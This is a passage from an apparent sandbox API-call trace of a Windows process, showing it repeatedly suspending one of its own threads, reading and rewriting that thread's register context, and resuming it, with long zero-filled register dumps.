[191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.070] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147480, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.168] ResumeThread (hThread=0x130) returned 0x1
[0128.168] CloseHandle (hObject=0x130) returned 1
[0128.168] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.289] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.331] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.405] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.459] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0128.459] SuspendThread (hThread=0x130) returned 0x0
[0128.459] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147438, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x134e760, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.469] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147430, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.471] ResumeThread (hThread=0x130) returned 0x1
[0128.471] CloseHandle (hObject=0x130) returned 1
[0128.471] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.517] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.558] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0128.559] SuspendThread (hThread=0x130) returned 0x0
[0128.559] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001472c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12d5340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.561] ResumeThread (hThread=0x130) returned 0x1
[0128.561] CloseHandle (hObject=0x130) returned 1
[0128.561] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.604] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.720] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0128.720] SuspendThread (hThread=0x130) returned 0x0
[0128.720] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147418, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1349f20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, 